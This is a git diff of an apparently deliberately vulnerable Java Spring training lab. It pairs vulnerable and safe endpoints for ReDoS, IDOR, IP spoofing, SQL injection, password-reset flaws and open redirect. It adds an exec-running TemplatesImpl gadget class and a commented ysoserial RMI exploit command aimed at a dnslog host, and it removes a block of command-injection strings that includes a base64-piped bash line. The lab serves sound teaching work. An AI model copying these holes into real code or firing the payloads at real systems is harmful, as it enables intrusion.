redos/vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab + public String reDosVul(String content) { + /** + * 当编写的正则表达式存在缺陷时, 攻击者可以构造特殊的字符串来大量消耗系统资源,造成服务中断或停止。 + * 错误实践: + * Regex: ([a-z]+)+ + * Regex: (.*[a-z]){n} n >= 10 + * + * PoC redos/vul?contnet=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab + */ boolean match = Pattern.matches("(a|aa)+", content); - return String.format("正则匹配:%s,正则表达式拒绝服务攻击", match); + log.info("[vul] RegexDos"); + return String.format("正则匹配:%s", match); } + + @ApiOperation(value = "safe: com.google.re2j", notes = "正则表达式引擎采用了贪婪匹配,避免了无限匹配的情况") @GetMapping("/redos/safe") - public String safe(String content) { + public String reDosSafe(String content) { boolean match = com.google.re2j.Pattern.matches("(a|aa)+", content); - return String.format("正则匹配:%s,安全正则表达式", match); + log.info("[safe] Dos安全正则"); + return String.format("正则匹配:%s", match); } + @GetMapping("/redos/test") + public String test(String content) { + boolean match = Pattern.matches("([0-1]+)?$", content); + return String.format("正则匹配:%s,正则表达式拒绝服务攻击", match); + } + + + @ApiOperation(value = "vul:图片放大拒绝服务", notes = "攻击者可以通过发送大量请求,要求服务器放大图片,从而使服务器资源耗尽") + @GetMapping("/imagedos/vul") + public ResponseEntity resizeImageVul(int width, int height) { + log.info(String.format("[vul] 图片放大拒绝服务:%s %s", width, height)); + return getImageEntity(width, height); + } + + @ApiOperation("safe:限制图片的最大尺寸") + @GetMapping("/imagedos/safe") + public ResponseEntity resizeImageSafe(int width, int height) { + width = Math.min(width, 200); + height = Math.min(height, 200); + return getImageEntity(width, height); + } + + private ResponseEntity getImageEntity(int width, int height) { + try { + Resource resource = new ClassPathResource("static/img/logo.png"); + File file = resource.getFile(); + BufferedImage originalImage = ImageIO.read(new File(file.getAbsolutePath())); + + // 创建缩放后的图像 + BufferedImage resizedImage = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB); + resizedImage.getGraphics().drawImage(originalImage.getScaledInstance(width, height, BufferedImage.SCALE_SMOOTH), 0, 0, null); + + // 将缩放后的图像转换为字节数组 + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ImageIO.write(resizedImage, "jpg", baos); + + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.IMAGE_JPEG); + + return new ResponseEntity<>(baos.toByteArray(), headers, HttpStatus.OK); + } catch (Exception e) { + e.printStackTrace(); + return new ResponseEntity<>(HttpStatus.INTERNAL_SERVER_ERROR); + } + } + } diff --git a/src/main/java/com/best/hello/controller/EvilClass/TemplatesBytes.java b/src/main/java/com/best/hello/controller/EvilClass/TemplatesBytes.java new file mode 100644 index 0000000..4aeb6e8 --- /dev/null +++ b/src/main/java/com/best/hello/controller/EvilClass/TemplatesBytes.java @@ -0,0 +1,21 @@ +package com.best.hello.controller.EvilClass; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; + +public class TemplatesBytes extends AbstractTranslet { + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + } + + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + } + + public TemplatesBytes() throws Exception { + super(); + System.out.println("Hello TemplatesImpl"); + Runtime.getRuntime().exec("open -a Calculator"); + } +} diff --git a/src/main/java/com/best/hello/controller/IDOR/IDOR1.java b/src/main/java/com/best/hello/controller/IDOR/IDOR1.java index bedddfc..edb7bd7 100644 --- a/src/main/java/com/best/hello/controller/IDOR/IDOR1.java +++ b/src/main/java/com/best/hello/controller/IDOR/IDOR1.java @@ -2,6 +2,7 @@ import com.alibaba.fastjson.JSON; import com.best.hello.entity.User; +import com.best.hello.entity.UserIDOR; import com.best.hello.mapper.UserMapper; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; @@ -9,6 +10,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpSession; @@ -19,7 +21,7 @@ @Api("水平越权") @Slf4j @RestController -@RequestMapping("/IDOR") +@RequestMapping("/vulnapi/IDOR") public class IDOR1 { @Autowired @@ -28,21 +30,22 @@ public class IDOR1 { // http://127.0.0.1:8888/IDOR/vul/info?name=admin @ApiOperation(value = "vul:根据name查询用户信息") @GetMapping("/vul/info") - public List vul(String name) { - log.info("[vul] 水平越权查询:" + name); - return userMapper.queryByUser(name); + public List vul(String name) { + log.info("[vul] 基于用户身份越权查询:{}", name); + return userMapper.queryByUser2(name); } - @GetMapping(value = "/vul/qid") - public List vul(Integer id) { - log.info("[vul] 水平id越权查询:" + id); - return userMapper.queryById2(id); + @ApiOperation(value = "vul:基于对象ID越权查询") + @GetMapping(value = "/vul/userid") + public List vul2(Integer id) { + log.info("[vul] 基于对象ID越权查询:{}", id); + return userMapper.queryByIdAsInterger(id); } @ApiOperation(value = "safe:只允许查询自己信息") @GetMapping("/safe/info") public Object safe(String name, HttpSession session) { - log.info("[safe] 水平越权查询:" + name); + log.info("[safe] 水平越权查询:{}", name); String loginUser = (String) session.getAttribute("LoginUser"); Map m = new HashMap<>(); @@ -55,5 +58,11 @@ public Object safe(String name, HttpSession session) { return JSON.toJSONString(m); } + @ApiOperation(value = "safe:通过UUID查询用户信息") + @GetMapping("/safe/userid") + public List safe2(@RequestParam("uuid") String uuid) { + log.info("[safe] 查询UUID {}", uuid); + return userMapper.queryByUuid(uuid); + } } diff --git a/src/main/java/com/best/hello/controller/IDOR/IDOR2.java b/src/main/java/com/best/hello/controller/IDOR/IDOR2.java index 3b2576a..9061a4a 100644 --- a/src/main/java/com/best/hello/controller/IDOR/IDOR2.java +++ b/src/main/java/com/best/hello/controller/IDOR/IDOR2.java @@ -1,7 +1,9 @@ package com.best.hello.controller.IDOR; import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; @@ -11,20 +13,22 @@ @Api("垂直越权") @Slf4j @Controller -@RequestMapping("/IDOR") +@RequestMapping("/vulnapi/IDOR") public class IDOR2 { + @Value("${local.admin.name}") + private String user; @GetMapping(value = "/vul/admin") public String vul() { - return "idoradmin"; + return "idor/idoradmin"; } - // 只允许admin用户可以访问管理页面 + @ApiOperation(value = "权限控制", notes = "只允许admin用户可以访问管理页面") @GetMapping(value = "/safe/admin") public String safe(HttpSession session) { - if (session.getAttribute("LoginUser").equals("admin")) { - return "idoradmin"; + if (session.getAttribute("LoginUser").equals(user)) { + return "idor/idoradmin"; } else { return "commons/403"; } diff --git a/src/main/java/com/best/hello/controller/IPForgery.java b/src/main/java/com/best/hello/controller/IPForgery.java new file mode 100644 index 0000000..b2398e1 --- /dev/null +++ b/src/main/java/com/best/hello/controller/IPForgery.java @@ -0,0 +1,81 @@ +package com.best.hello.controller; + +import com.alibaba.fastjson.JSON; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +/* + * 获取真实IP + * 1. 没有使用代理的情况下,直接从 getRemoteAddr() 获取目标真实IP + * 2. 使用nginx等反向代理的情况下,由于在客户端和服务之间增加了中间层,因此服务器无法直接拿到客户端的 IP,这时取 X-Forwarded-For 中第一个IP得到的确实为客户端真实IP + */ +@Api("IP伪造") +@RestController +@RequestMapping("/vulnapi/IPForgery") +public class IPForgery { + + @ApiOperation("safe:RemoteAddr获取真实IP") + @GetMapping("/remote") + public static String remoteIP(HttpServletRequest request) { + String ip = request.getRemoteAddr(); + return "RemoteAddr: " + ip; + } + + @ApiOperation("vul: XFF伪造") + @GetMapping("/vul") + public static String xffVul(HttpServletRequest request) { + Map m = new HashMap<>(); + String ip = (request.getHeader("X-Forwarded-For") != null) ? request.getHeader("X-Forwarded-For") : request.getRemoteAddr(); + if (Objects.equals(ip, "127.0.0.1")) { + m.put("message", "success"); + m.put("flag", "fd65cf072a93c93ad52b9f25b341e10b"); + } else { + m.put("message", "只允许本地IP访问"); + } + m.put("ip", ip); + return JSON.toJSONString(m); + } + + @ApiOperation("safe: 反向代理获取IP") + @RequestMapping("/proxy") + public static String proxyIP(HttpServletRequest request) { + /** + * nginx配置 + * nginx将访问者的remote_addr传递给X-Real-IP,后端获取X-Real-IP值即$remote_addr + * + * location / { + * proxy_pass http://localhost:65412; + * proxy_set_header Host $host; + * proxy_set_header X-Real-IP $remote_addr; + * proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + * } + **/ + String realIP = request.getHeader("X-Real-IP"); + if (realIP != null && !realIP.trim().isEmpty()) { + System.out.println("X-Real-IP: " + realIP); + return realIP; + } + + /** + * 如果 X-Real-IP 未设置或无效,则尝试获取 X-Forwarded-For + * 伪造添加xxf时,每个xxf在后面追加,形式:X-Forwarded-For: 客户端ip, 一级代理ip, 二级代理ip + */ + String forwardedFor = request.getHeader("X-Forwarded-For"); + if (forwardedFor != null && !forwardedFor.trim().isEmpty()) { + // 获取第一个 IP 地址 + System.out.println("X-Forwarded-For: " + forwardedFor); + return forwardedFor.split(",")[0].trim(); + } + + return request.getRemoteAddr(); + } + +} diff --git a/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java b/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java index b5414da..c97fef3 100644 --- a/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java +++ b/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java @@ -17,7 +17,7 @@ @Api("JNDI注入") @RestController -@RequestMapping("/JNDI") +@RequestMapping("/vulnapi/JNDI") public class JNDIInject { Logger log = LoggerFactory.getLogger(JNDIInject.class); diff --git a/src/main/java/com/best/hello/controller/JWT.java b/src/main/java/com/best/hello/controller/JWT.java index 2cf3706..03b5eae 100644 --- a/src/main/java/com/best/hello/controller/JWT.java +++ b/src/main/java/com/best/hello/controller/JWT.java @@ -12,7 +12,7 @@ @Api("JWT") @RestController -@RequestMapping("/JWT") +@RequestMapping("/vulnapi/JWT") public class JWT { Logger log = LoggerFactory.getLogger(JWT.class); @@ -22,7 +22,7 @@ public class JWT { @GetMapping("/getName") public String getNickname(@CookieValue("JWT_TOKEN") String jwt_cookie) { String username = JwtUtils.getUsernameByJwt(jwt_cookie); - log.info("当前JWT用户是:" + username); + log.info("当前JWT用户是:{}", username); return "当前JWT用户是:" + username; } diff --git a/src/main/java/com/best/hello/controller/LogicFlaw/PasswordReset.java b/src/main/java/com/best/hello/controller/LogicFlaw/PasswordReset.java new file mode 100644 index 0000000..7e390af --- /dev/null +++ b/src/main/java/com/best/hello/controller/LogicFlaw/PasswordReset.java @@ -0,0 +1,134 @@ +package com.best.hello.controller.LogicFlaw; + +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.MediaType; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpSession; +import java.security.SecureRandom; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +@Api("密码重置漏洞") +@Controller +@RequestMapping("/vulnapi/LogicFlaw/PasswordReset") +public class PasswordReset { + private static final Logger log = LoggerFactory.getLogger(PasswordReset.class); + + @ApiOperation(value = "发送验证码-验证码前端回显") + @PostMapping(value = "/sendcode", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Map resetPassword(@RequestParam("mobile") String mobile, HttpServletRequest request) { + String authCode = generateRandomCode(); + + HttpSession session = request.getSession(); + session.setAttribute("mobile", mobile); + session.setAttribute("authCode", authCode); + session.setAttribute("authCodeTimestamp", new Date().getTime()); + + // 模拟发送验证码短信 + log.info("验证码前端回显:向手机号 {} 发送验证码: {}", mobile, authCode); + + // 漏洞点:返回验证码到前端 + Map response = new HashMap<>(); + response.put("success", "true"); + response.put("mobile", mobile); + response.put("authCode", authCode); + return response; + } + + @ApiOperation(value = "重置密码-验证码前端回显") + @PostMapping(value = "/reset", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Map confirmReset(@RequestParam("code") String code, @RequestParam("newPassword") String newPassword, @RequestParam("mobile") String mobile, HttpServletRequest request) { + HttpSession session = request.getSession(); + String storedMobile = (String) session.getAttribute("mobile"); + String storedCode = (String) session.getAttribute("authCode"); + long authCodeTimestamp = (Long) session.getAttribute("authCodeTimestamp"); + Map response = new HashMap<>(); + Map userPasswords = new HashMap<>(); + + // 漏洞点:手机号与验证码未进行匹配性验证,修复方式:验证手机号和验证码是否正确 + if (storedMobile.equals(mobile) && storedCode.equals(code)) { + long currentTime = new Date().getTime(); + long timeDifference = currentTime - authCodeTimestamp; + + // 漏洞点:验证码可破解,修复方式:验证验证码时间戳是否在有效期内(1分钟过期) + if (timeDifference <= 60000) { + userPasswords.put(storedMobile, newPassword); + log.info("密码重置成功,手机号:{},新密码:{}", storedMobile, newPassword); + response.put("message", "密码重置成功!"); + response.put("flag", "528277b84feab3feb7a2733f09198842"); + response.put("success", "true"); + } else { + response.put("message", "验证码已过期,请重新获取!"); + response.put("success", "false"); + } + } else { + response.put("message", "验证码错误!"); + response.put("success", "false"); + } + return response; + } + + + @ApiOperation(value = "发送验证码-验证码可爆破") + @PostMapping(value = "/sendcode2", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Map resetPassword2(@RequestParam("mobile") String mobile, HttpServletRequest request) { + // 4位数验证码更易爆破 + String authCode = generateRandomCode2(); + + HttpSession session = request.getSession(); + session.setAttribute("mobile", mobile); + session.setAttribute("authCode", authCode); + session.setAttribute("authCodeTimestamp", new Date().getTime()); + + log.info("正常发送:向手机号 {} 发送验证码: {}", mobile, authCode); + + Map response = new HashMap<>(); + response.put("success", "true"); + response.put("mobile", mobile); + return response; + } + + @ApiOperation(value = "重置密码-验证码可爆破") + @PostMapping(value = "/reset2", produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public Map confirmReset2(@RequestParam("code") String code, @RequestParam("newPassword") String newPassword, @RequestParam("mobile") String mobile, HttpServletRequest request) { + HttpSession session = request.getSession(); + String storedMobile = (String) session.getAttribute("mobile"); + String storedCode = (String) session.getAttribute("authCode"); + Map response = new HashMap<>(); + Map userPasswords = new HashMap<>(); + + if (storedMobile.equals(mobile) && storedCode.equals(code)) { + userPasswords.put(storedMobile, newPassword); + response.put("message", "密码重置成功!"); + response.put("flag", "528277b84feab3feb7a2733f09198842"); + response.put("success", "true"); + } else { + response.put("message", "验证码错误!"); + response.put("success", "false"); + } + return response; + } + + private String generateRandomCode() { + return String.format("%06d", new SecureRandom().nextInt(10000)); + } + + private String generateRandomCode2() { + return String.format("%04d", new SecureRandom().nextInt(10000)); + } +} diff --git a/src/main/java/com/best/hello/controller/Login.java b/src/main/java/com/best/hello/controller/Login.java index b5bf872..fc97f2b 100644 --- a/src/main/java/com/best/hello/controller/Login.java +++ b/src/main/java/com/best/hello/controller/Login.java @@ -3,6 +3,7 @@ import com.best.hello.util.JwtUtils; import com.wf.captcha.utils.CaptchaUtil; import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Value; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; @@ -16,9 +17,11 @@ @Controller public class Login { - // 密码明文写死 - String user = "admin"; - String pass = "admin"; + @Value("${local.admin.name}") + private String user; + + @Value("${local.admin.password}") + private String pass; private static final String COOKIE_NAME = "JWT_TOKEN"; @@ -26,6 +29,9 @@ public class Login { @RequestMapping("/user/login") public String login(@RequestParam("username") String username, @RequestParam("password") String password, @RequestParam("captcha") String captcha, Model model, HttpSession session, HttpServletRequest request, HttpServletResponse response) { + // 处理重定向 + String referer = request.getHeader("referer"); + // 验证码复用 if (!CaptchaUtil.ver(captcha, request)) { CaptchaUtil.clear(request); @@ -42,7 +48,13 @@ public String login(@RequestParam("username") String username, @RequestParam("pa cookie.setPath("/"); response.addCookie(cookie); session.setAttribute("LoginUser", username); - return "redirect:/index"; + + if (referer == null || referer.isEmpty() || referer.contains("/login") || referer.contains("/user/ldap") || referer.contains("/user/logout")) { + return "redirect:/index"; + } else { + return "redirect:" + referer; + } + } else { model.addAttribute("msg", "用户名或者密码错误"); return "login"; diff --git a/src/main/java/com/best/hello/controller/RCE/GroovyVul.java b/src/main/java/com/best/hello/controller/RCE/GroovyVul.java index 1a9ed9a..9b553ac 100644 --- a/src/main/java/com/best/hello/controller/RCE/GroovyVul.java +++ b/src/main/java/com/best/hello/controller/RCE/GroovyVul.java @@ -10,7 +10,7 @@ import java.util.List; @RestController -@RequestMapping("/RCE/Groovy") +@RequestMapping("/vulnapi/RCE/Groovy") public class GroovyVul { /** diff --git a/src/main/java/com/best/hello/controller/RCE/LoadJsVul.java b/src/main/java/com/best/hello/controller/RCE/LoadJsVul.java index 87e047d..f836054 100644 --- a/src/main/java/com/best/hello/controller/RCE/LoadJsVul.java +++ b/src/main/java/com/best/hello/controller/RCE/LoadJsVul.java @@ -13,7 +13,7 @@ @RestController -@RequestMapping("/RCE/ScriptEngine") +@RequestMapping("/vulnapi/RCE/ScriptEngine") public class LoadJsVul { /** diff --git a/src/main/java/com/best/hello/controller/RCE/ProcessBuilderVul.java b/src/main/java/com/best/hello/controller/RCE/ProcessBuilderVul.java index 3283b08..24f526a 100644 --- a/src/main/java/com/best/hello/controller/RCE/ProcessBuilderVul.java +++ b/src/main/java/com/best/hello/controller/RCE/ProcessBuilderVul.java @@ -11,7 +11,7 @@ import java.io.InputStreamReader; @RestController -@RequestMapping("/RCE/ProcessBuilder") +@RequestMapping("/vulnapi/RCE/ProcessBuilder") public class ProcessBuilderVul { /** diff --git a/src/main/java/com/best/hello/controller/RCE/ProcessImplVul.java b/src/main/java/com/best/hello/controller/RCE/ProcessImplVul.java index 3e7b43f..7666e14 100644 --- a/src/main/java/com/best/hello/controller/RCE/ProcessImplVul.java +++ b/src/main/java/com/best/hello/controller/RCE/ProcessImplVul.java @@ -11,7 +11,7 @@ import java.util.Map; @RestController -@RequestMapping("/RCE/ProcessImpl") +@RequestMapping("/vulnapi/RCE/ProcessImpl") public class ProcessImplVul { @ApiOperation(value = "vul:命令执行 - ProcessImpl", notes = "ProcessImpl是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类") diff --git a/src/main/java/com/best/hello/controller/RCE/RuntimeVul.java b/src/main/java/com/best/hello/controller/RCE/RuntimeVul.java index c8b1046..9604fa3 100644 --- a/src/main/java/com/best/hello/controller/RCE/RuntimeVul.java +++ b/src/main/java/com/best/hello/controller/RCE/RuntimeVul.java @@ -13,7 +13,7 @@ import java.util.Set; @RestController -@RequestMapping("/RCE/Runtime") +@RequestMapping("/vulnapi/RCE/Runtime") public class RuntimeVul { /** @@ -88,45 +88,4 @@ public static void vul2(String file) { } } - - /** - * 本地测试 - */ - public static void main(String[] args) { - StringBuilder sb = new StringBuilder(); - String line; - - // Runtime.getRuntime().exec(String command) - // java.lang.Runtime#exec 中 StringTokenizer 会对字符串的处理,利用数组和编码可以成功执行命令 - String cmd1 = "ping baidu.com -c 1;whoami"; - - // 可执行 - String cmd2 = "/bin/sh -c uname&whoami"; - - // 不可执行 - String cmd3 = "uname&whoami"; - - // Runtime.getRuntime().exec(String cmdarray[]) - // 直接传入的是数组,没有经过 StringTokenizer 对字符串的处理,可执行 - String[] cmd4 = new String[]{"/bin/sh", "-c", "ping baidu.com -c 1;whoami"}; - - // 编码方式 - String cmd5 = "bash -c {echo,cGluZyBiYWlkdS5jb20gLWMgMTt3aG9hbWk=}|{base64,-d}|{bash,-i}"; - - try { - Process process = Runtime.getRuntime().exec(cmd5); - - InputStream fis = process.getInputStream(); - InputStreamReader isr = new InputStreamReader(fis); - BufferedReader br = new BufferedReader(isr); - while ((line = br.readLine()) != null) { - sb.append(line); - } - System.out.println(sb.toString()); - } catch (Exception e) { - e.printStackTrace(); - } - - } - } diff --git a/src/main/java/com/best/hello/controller/RMI/Client.java b/src/main/java/com/best/hello/controller/RMI/Client.java deleted file mode 100644 index e379c76..0000000 --- a/src/main/java/com/best/hello/controller/RMI/Client.java +++ /dev/null @@ -1,6 +0,0 @@ -package com.best.hello.controller.RMI; - -public class Client { - private Client() {} - -} diff --git a/src/main/java/com/best/hello/controller/RMI/RMIClient.java b/src/main/java/com/best/hello/controller/RMI/RMIClient.java new file mode 100644 index 0000000..a6c9c4e --- /dev/null +++ b/src/main/java/com/best/hello/controller/RMI/RMIClient.java @@ -0,0 +1,6 @@ +package com.best.hello.controller.RMI; + +public class RMIClient { + private RMIClient() {} + +} diff --git a/src/main/java/com/best/hello/controller/RMI/RegistryVul.java b/src/main/java/com/best/hello/controller/RMI/RegistryVul.java index e883d7e..dbf1543 100644 --- a/src/main/java/com/best/hello/controller/RMI/RegistryVul.java +++ b/src/main/java/com/best/hello/controller/RMI/RegistryVul.java @@ -1,28 +1,17 @@ package com.best.hello.controller.RMI; -import io.swagger.annotations.ApiOperation; -import lombok.extern.slf4j.Slf4j; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - import java.rmi.registry.LocateRegistry; -import java.rmi.registry.Registry; -@Slf4j -@RestController -@RequestMapping("/Deserialize") -public class RegistryVul { +public class RegistryVul { - @ApiOperation(value = "vul:Java RMI Registry 反序列化漏洞", notes = "<=jdk8u111") - @RequestMapping("/rmi") - public String rmi() { - try { - Registry registry = LocateRegistry.createRegistry(9999); - log.info("[+] RMI Listening: 9999"); - } catch (Exception e) { - e.printStackTrace(); - } - return "开启RMI监听,端口:9999"; + /** + * Java RMI Registry 反序列化漏洞,JDK<=jdk8u111 + * 检测:java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit ip 9999 JRMPClient "rmi.c3blgk.dnslog.cn" + */ + public static void main(String[] args) throws Exception { + LocateRegistry.createRegistry(9999); + System.out.println("Registry created on port 9999"); + while (true); } } diff --git a/src/main/java/com/best/hello/controller/Redirect.java b/src/main/java/com/best/hello/controller/Redirect.java index b857a9e..c7e85a5 100644 --- a/src/main/java/com/best/hello/controller/Redirect.java +++ b/src/main/java/com/best/hello/controller/Redirect.java @@ -22,11 +22,10 @@ */ @Api("重定向漏洞") @Controller -@RequestMapping("/Redirect") +@RequestMapping("/vulnapi/redirect") public class Redirect { Logger log = LoggerFactory.getLogger(Redirect.class); - // http://127.0.0.1:8888/Redirect/vul?url=http://www.baidu.com @ApiOperation(value = "vul: Spring Redirect") @GetMapping("/vul") public String vul(String url) { @@ -35,7 +34,6 @@ public String vul(String url) { } - // http://127.0.0.1:8888/Redirect/vul2?url=www.baidu.com @ApiOperation(value = "vul: Servlet Redirect") @GetMapping("/vul2") public ModelAndView vul2(String url) { @@ -43,7 +41,6 @@ public ModelAndView vul2(String url) { } - // http://127.0.0.1:8888/Redirect/vul3?url=http://www.baidu.com @ApiOperation(value = "vul: response.sendRedirect") @GetMapping("/vul3") public void vul3(String url, HttpServletResponse response) throws IOException { diff --git a/src/main/java/com/best/hello/controller/SQLI/JDBC.java b/src/main/java/com/best/hello/controller/SQLI/JDBC.java index d9de098..a931c53 100644 --- a/src/main/java/com/best/hello/controller/SQLI/JDBC.java +++ b/src/main/java/com/best/hello/controller/SQLI/JDBC.java @@ -17,6 +17,7 @@ import java.sql.*; import java.util.Map; +import java.util.regex.Pattern; /** * SQL注入 - JDBC注入 @@ -32,7 +33,7 @@ @Api("SQL注入 - JDBC") @RestController -@RequestMapping("/SQLI/JDBC") +@RequestMapping("/vulnapi/sqli/jdbc") public class JDBC { Logger log = LoggerFactory.getLogger(JDBC.class); @@ -52,30 +53,28 @@ public class JDBC { @ApiOperation(value = "vul: JDBC语句拼接") @GetMapping("/vul1") public String vul1(String id) { - StringBuilder result = new StringBuilder(); + String sql = "select * from users where id = '" + id + "'"; try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); Statement stmt = conn.createStatement(); - String sql = "select * from users where id = '" + id + "'"; - log.info("[vul] 执行SQL语句: " + sql); + + log.info("[vul] 执行SQL语句: {}", sql); ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { String res_name = rs.getString("user"); String res_pass = rs.getString("pass"); - String info = String.format("查询结果 %s: %s", res_name, res_pass); - result.append(info); + result.append(String.format("查询结果 %s: %s", res_name, res_pass)); } rs.close(); stmt.close(); conn.close(); return result.toString(); - } catch (Exception e) { // 输出错误,用于报错注入 return e.toString(); @@ -89,15 +88,14 @@ public String vul1(String id) { @ApiOperation(value = "vul:JDBC预编译拼接", notes = "采用预编译的方法,但没使用?占位,此时进行预编译也无法阻止SQL注入") @GetMapping("/vul2") public String vul2(String id) { - StringBuilder result = new StringBuilder(); + String sql = "select * from users where id = " + id; try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); - String sql = "select * from users where id = " + id; - log.info("[vul] 执行SQL语句: " + sql); + log.info("[vul] 执行SQL语句: {}", sql); PreparedStatement st = conn.prepareStatement(sql); ResultSet rs = st.executeQuery(); @@ -112,7 +110,6 @@ public String vul2(String id) { st.close(); conn.close(); return result.toString(); - } catch (Exception e) { return e.toString(); } @@ -140,17 +137,15 @@ public Map vul3(String id) { @ApiOperation(value = "safe:JDBC预编译", notes = "采用预编译的方法,使用?占位,也叫参数化的SQL") @GetMapping("/safe1") public String safe1(String id) { - StringBuilder result = new StringBuilder(); + String sql = "select * from users where id = ?"; try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); - - String sql = "select * from users where id = ?"; PreparedStatement st = conn.prepareStatement(sql); st.setString(1, id); - log.info("[safe] 执行SQL语句: " + st); + log.info("[safe] 执行SQL语句: {}", st); ResultSet rs = st.executeQuery(); while (rs.next()) { @@ -164,7 +159,6 @@ public String safe1(String id) { st.close(); conn.close(); return result.toString(); - } catch (Exception e) { return e.toString(); } @@ -176,17 +170,15 @@ public String safe1(String id) { public String safe2(String id) { if (!Security.checkSql(id)) { - StringBuilder result = new StringBuilder(); + String sql = "select * from users where id = '" + id + "'"; try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); - Statement stmt = conn.createStatement(); - String sql = "select * from users where id = '" + id + "'"; + log.info("[safe] 执行SQL语句:{}", sql); ResultSet rs = stmt.executeQuery(sql); - log.info("[safe] 执行SQL语句: " + sql); while (rs.next()) { String res_name = rs.getString("user"); @@ -199,7 +191,6 @@ public String safe2(String id) { stmt.close(); conn.close(); return result.toString(); - } catch (Exception e) { return e.toString(); } @@ -259,4 +250,41 @@ public Map safe4(Integer id) { return jdbctemplate.queryForMap(sql_vul); } + @ApiOperation(value = "safe: 正则过滤") + @GetMapping("/safe5") + public String safe5(String name) { + StringBuilder result = new StringBuilder(); + // 只能输入字母和数字 + String pattern = "^[a-zA-Z0-9]+$"; + boolean isValid = Pattern.matches(pattern, name); + + if (isValid) { + try { + Class.forName("com.mysql.cj.jdbc.Driver"); + Connection conn = DriverManager.getConnection(db_url, db_user, db_pass); + Statement stmt = conn.createStatement(); + String sql = "select * from users where user = '" + name + "'"; + log.info("[vul] 执行SQL语句: {}", sql); + ResultSet rs = stmt.executeQuery(sql); + while (rs.next()) { + String info = String.format("查询结果 %s: %s", rs.getString("user"), rs.getString("pass")); + result.append(info); + } + rs.close(); + stmt.close(); + conn.close(); + return result.toString(); + } catch (Exception e) { + return e.toString(); + } + } else { + return "非法正则匹配!"; + } + } + + private Connection getConnection() throws Exception { + Class.forName("com.mysql.cj.jdbc.Driver"); + return DriverManager.getConnection(db_url, db_user, db_pass); + } + } diff --git a/src/main/java/com/best/hello/controller/SQLI/MyBatis.java b/src/main/java/com/best/hello/controller/SQLI/MyBatis.java index d8e8749..d02589a 100644 --- a/src/main/java/com/best/hello/controller/SQLI/MyBatis.java +++ b/src/main/java/com/best/hello/controller/SQLI/MyBatis.java @@ -2,40 +2,42 @@ import com.best.hello.entity.User; import com.best.hello.mapper.UserMapper; +import com.best.hello.util.Security; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; -import lombok.extern.slf4j.Slf4j; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import java.util.List; @Api("SQL注入 - MyBatis") -@Slf4j @RestController -@RequestMapping("/SQLI/MyBatis") +@RequestMapping("/vulnapi/sqli/mybatis") public class MyBatis { + Logger log = LoggerFactory.getLogger(MyBatis.class); @Autowired private UserMapper userMapper; - - @ApiOperation(value = "vul:Mybatis使用${}查询1") + @ApiOperation(value = "vul:Mybatis使用${}查询字符串型ID") @GetMapping("/vul/id/{id}") public List queryById(@PathVariable String id) { - return userMapper.queryById1(id); + return userMapper.queryByIdAsString(id); } - 